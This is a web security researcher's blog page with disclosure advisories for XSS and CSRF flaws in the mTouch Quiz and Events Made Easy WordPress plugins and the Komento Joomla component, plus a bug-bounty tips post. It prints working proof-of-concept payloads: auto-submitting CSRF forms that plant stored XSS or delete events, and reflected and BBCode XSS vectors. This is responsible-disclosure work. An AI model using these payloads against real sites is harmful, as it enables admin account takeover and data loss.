David Sopas – Web Security Researcher

persistent xss

18/12/15 Advisories # , , , , ,

Multiple vulns on mTouch Quiz WordPress plugin

Multiple vulns on mTouch Quiz WordPress plugin

Plugin link: https://wordpress.org/plugins/mtouch-quiz/
Active Installs: 5,000+
Version tested: 3.1.2
CVE Reference: Waiting

mTouch Quiz lets you add quizzes to your site. This plugin was designed with learning, touch friendliness and versatility in mind.

I found multiple vulnerabilities on WordPress plugin – mTouch Quiz <= 3.1.2.

#1 Reflected XSS on Quiz Manage
“quiz” parameter wasn’t properly sanitized therefore you could inject a XSS vector on the URL and get reflected on the screen.

Proof-of-concept:

/wp-admin/edit.php?page=mtouch-quiz%2Fquiz_form.php&quiz=1"><h1>XSS</h1>&action=edit

Looking at the end of the page you could see the injected HTML.

Reflected source-code:

<input type="hidden" name="quiz" value="1\"><h1>XSS</h1>

#2 CSRF on General Options
On plugin general options lacked a security token (like wp_nonce) to prevent CSRF attacks.
Take this form from example:

<form action="https://victims_website/wp-admin/options-general.php?page=mtouchquiz" name="dsopas" method="POST">
<input type="hidden" name="mtq_hidden" value="Y" />
<input type="hidden" name="left_delimiter" value="\(\displaystyle{" />
<input type="hidden" name="right_delimiter" value="}\)" />
<input type="hidden" name="showalerts" value="1" />
<input type="hidden" name="show_support" value="1" />
</form> <script> document.dsopas.submit(); </script>

If a authenticated admin visited this page with this HTML code his settings will be changed.

#3 Add a question using CSRF and get a persistent XSS

This was a critical issue. If a authenticated admin visited a page with this HTML he would add a question with a XSS vector (in my proof-of-concept would prompt a text).
A malicious user could use this to spread a malware, admin takeover, etc…

<form action="https://victims_website/wp-admin/edit.php?page=mtouch-quiz/question.php&quiz=1" name="dsopas" method="POST">
<input type="hidden" name="content" value='<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0PnByb21wdCgiWFNTIik7PC9zY3JpcHQ+PC9zdmc+" type="image/svg+xml" width="300" height="150"></embed>' />
<input type="hidden" name="correct_answer[]" value="1" />
<input type="hidden" name="answer[]" value="test1" />
<input type="hidden" name="hint[]" value="hint1" />
<input type="hidden" name="enclose_latex[]" value="2" />
<input type="hidden" name="answer[]" value="test2" />
<input type="hidden" name="enclose_latex[]" value="2" />
<input type="hidden" name="hint[]" value="hint2" />
<input type="hidden" name="answer[]" value="" />
<input type="hidden" name="hint[]" value="" />
<input type="hidden" name="answer[]" value="" />
<input type="hidden" name="hint[]" value="" />
<input type="hidden" name="answer[]" value="" />
<input type="hidden" name="hint[]" value="" />
<input type="hidden" name="explanation" value="<h1>xss</h1>" />
<input type="hidden" name="point_value" value="100" />
<input type="hidden" name="quiz" value="1" />
<input type="hidden" name="question" value="" />
<input type="hidden" name="user_ID" value="1" />
<input type="hidden" name="action" value="new" />
<input type="hidden" name="submit" value="Save" />
</form> <script> document.dsopas.submit(); </script>

mtouch-quiz-xss2

#4 Quiz Name XSS

This was a minor issue but if other user level had access to this, he could change the quiz name to a XSS vector and get a persistent XSS.

Solution:
Vendor in a matter of few weeks launched a patched version – 3.1.3. Also he was kind enough to put my name on the changelog.

Corrected several potential security vulnerabilities. Thanks to David Sopas @dsopas for very kindly pointing them out and suggesting effective solutions.

 

no responses
16/10/15 Tips and Tricks # , , , , , ,

Get a bounty on a WordPress blog

Get a bounty on a WordPress blog

I would like describe a step-by-step of my latest “appreciation program” reward on a security issue in a WordPress plugin.
First things first – check if the blog is in-scope of the program. If it is, continue to read this article. If not, you can just see my other tips about #bugbounty (here  and here).

I’m a big fan of WPScan. It’s a great Ruby tool to scan a WordPress installation. It uses a black box approach but still a must use in my opinion.
WPScan didn’t find any real security issue on my target but showed me the list of plugins used:

ruby wpscan.rb –url www.target.com –enumerate p

So I picked one by one to search for open vulnerabilities or something interesting on their changelog. Nothing…
I needed to start auditing them.

I picked Events Made Easy plugin  and installed it on my local box. The plugin is quite simple and I noticed that nonce WordPress security token or any other form protection was missing in some places [when auditing the source-code]. Also some of the variables were not sanitized so I could attack it with a CSRF and a Persistent XSS.

I started creating a proof-of-concept based on my findings – check the advisory.
I reported the security issue to the “appreciation program”, vendor and requested a CVE reference.

So my steps were:

  1. WordPress blog is in scope for reward
  2. Scan it with WPScan [don’t forget to enumerate the plugins]
  3. Analyze the results
  4. If scanning got you a vulnerability, report it! If not, download the plugins used, audit the source-code and create a proof-of-concept

Here you have some public bounties I found on Nexmo on their blog – https://cobalt.io/nexmo/reports/17 and https://cobalt.io/nexmo/reports/18

Small tip: Sometimes even a full disclosure can get you a small bounty 🙂 https://cobalt.io/nexmo/reports/15

no responses
15/10/15 Advisories # , , , , ,

Events Made Easy WordPress plugin CSRF + Persistent XSS

Events Made Easy WordPress plugin CSRF + Persistent XSS

Plugin link: https://wordpress.org/plugins/events-made-easy/
Active Installs: 10,000+
Version tested: 1.5.49
CVE Reference: Waiting

Events Made Easy is a full-featured event management solution for WordPress. Events Made Easy supports public, private, draft and recurring events, locations management, RSVP (+ optional approval), Paypal, 2Checkout, FirstData and Google maps. With Events Made Easy you can plan and publish your event, or let people reserve spaces for your weekly meetings. You can add events list, calendars and description to your blog using multiple sidebar widgets or shortcodes; if you are a web designer you can simply employ the template tags provided by Events Made Easy.

When playing around with this plugin I noticed a couple of vulnerabilities. In my opinion they are critical because they can could cause damage to a WordPress installation.
All of them are related to CSRF where the vendor forgot to place a security token (wp_nonce) on the affected forms.

#1 Add template CSRF + Persistent XSS

URL: /wp-admin/admin.php?page=eme-templates

If a authenticated admin clicks on the “Add template” button on a html with this code:

<form action="https://victims_website/wp-admin/admin.php?page=eme-templates" method="POST">
<input type="hidden" name="eme_admin_action" value="do_addtemplate" />
<input type="hidden" name="description" value="<svg/onload=confirm(1)>" />
<input type="hidden" name="format" value="csrf" />
<input type="submit" name="submit" value="Add template" />
</form>

It will add a Persistent XSS vector on the template description field. This field is automatically executed when the admin visits the page admin.php?page=eme-templates.

Possible attack scenario:

  1. Malicious user checks that Events Made Easy is installed on a WordPress installation
  2. Malicious sends admin a link to the page that has a auto-submit form with a XSS vector that hijacks victims browser
  3. Victim visits the page and gets hijacked

#2 Add Form Field CSRF + Persistent XSS

URL: /wp-admin/admin.php?page=eme-formfields

If a authenticated admin clicks on the “Add field” button on a html with this code:

<form action="https://victims_website/wp-admin/admin.php?page=eme-formfields" method="POST">
<input type="hidden" name="eme_admin_action" value="do_addformfield" />
<input type="hidden" name="field_name" value="<svg/onload=confirm(1)>" />
<input type="hidden" name="field_type" value="1" />
<input type="hidden" name="field_info" value="csrf" />
<input type="hidden" name="field_tags" value="csrf" />
<input type="submit" name="submit" value="Add field" />
</form>

Like vulnerability #1 the attack scenario is the same. Same issue affects form fields on this plugin.

#3 Remove events older than CSRF

URL: /wp-admin/admin.php?page=eme-cleanup

With this CSRF a malicious user could delete all the events older than a certain number.
In my proof of concept I used a auto-submit form that could also be used in vulnerabilities #1 and #2.

<form action="https://victims_website/wp-admin/admin.php?page=eme-cleanup" name="dsopas" method="POST">
<input type="hidden" name="page" value="eme-cleanup" />
<input type="hidden" name="eme_admin_action" value="eme_cleanup" />
<input type="hidden" name="eme_number" value="1" />
<input type="hidden" name="eme_period" value="day" />
<input type="hidden" name="doaction" value="Apply" />
</form> <script> document.dsopas.submit(); </script> 

Possible attack scenario:

  1. Malicious user checks that Events Made Easy is installed on a WordPress installation
  2. Malicious sends admin a link to the page that has this auto-submit form
  3. Without victim noticing, events older than 1 day will be removed.

Solution:
Vendor in a matter of few hours launched a patched version – 1.5.50. Also he was kind enough to put my name on the changelog.

one response
30/09/15 Advisories # , , , , , ,

Komento Joomla! component Persistent XSS

Komento Joomla! component Persistent XSS

CVE Reference: CVE-2015-7324

Komento is a Joomla! comment extension for articles and blogs in K2, EasyBlog, ZOO, Flexicontent, VirtueMart and redShop.

@http://stackideas.com/komento

I found out that was possible to launch a Persistent XSS attack when adding a new comment using the WYSIWYG website and image buttons.
This issue was critical in both environments – frontend and backoffice.

In frontend when a user visited a page where the comment has a XSS attack it would be automatically affected.
In the other side – the backoffice – when the admin checked the new comment it would be vulnerable to this attack and could get his account hijacked or something even more dangerous.

What I did was to pass along the XSS vector in the [img] code and use the Javascript onload to run the exploit when image loads.

Proof-of-concept using [img]:

[img]http://www.robolaranja.com.br/wp-content/uploads/2014/10/Primeira-imagem-do-filme-de-Angry-Birds-%C3%A9-revelada-2.jpg” onload=”prompt(1)[/img]

Proof-of-concept using [url]:

[url=”https://www.davidsopas.com” onmouseover=”prompt(1)”]Your text to link[/url]

komento_onmouseover

In the [img] case this will reflect the following HTML (on the frontend):

<img src="http://www.robolaranja.com.br/wp-content/uploads/2014/10/Primeira-imagem-do-filme-de-Angry-Birds-%C3%A9-revelada-2.jpg" data-pagespeed-onload="prompt(1)" alt="http://www.robolaranja.com.br/wp-content/uploads/2014/10/Primeira-imagem-do-filme-de-Angry-Birds-%C3%A9-revelada-2.jpg" onload="prompt(1)" style="max-width:300px;max-height:300px;" onload="var elem=this;if (this==window) elem=document.body;elem.setAttribute('data-pagespeed-loaded', 1)"/>

komento_frontend

And…

<img src="http://www.robolaranja.com.br/wp-content/uploads/2014/10/Primeira-imagem-do-filme-de-Angry-Birds-%C3%A9-revelada-2.jpg" data-pagespeed-onload="prompt(1)" alt="http://www.robolaranja.com.br/wp-content/uploads/2014/10/Primeira-imagem-do-filme-de-Angry-Birds-%C3%A9-revelada-2.jpg" onload="prompt(1)" style="max-width:300px;max-height:300px;">

In the administrator area.

This Joomla! component has lot’s of Google results and can affect a large number of innocent people. A victim just by visiting the page with a malicious comment will be affected.

All versions prior to 2.0.5 are affected.
Vendor already patched both security issues in the new version 2.0.5 – http://stackideas.com/changelog/komento

no responses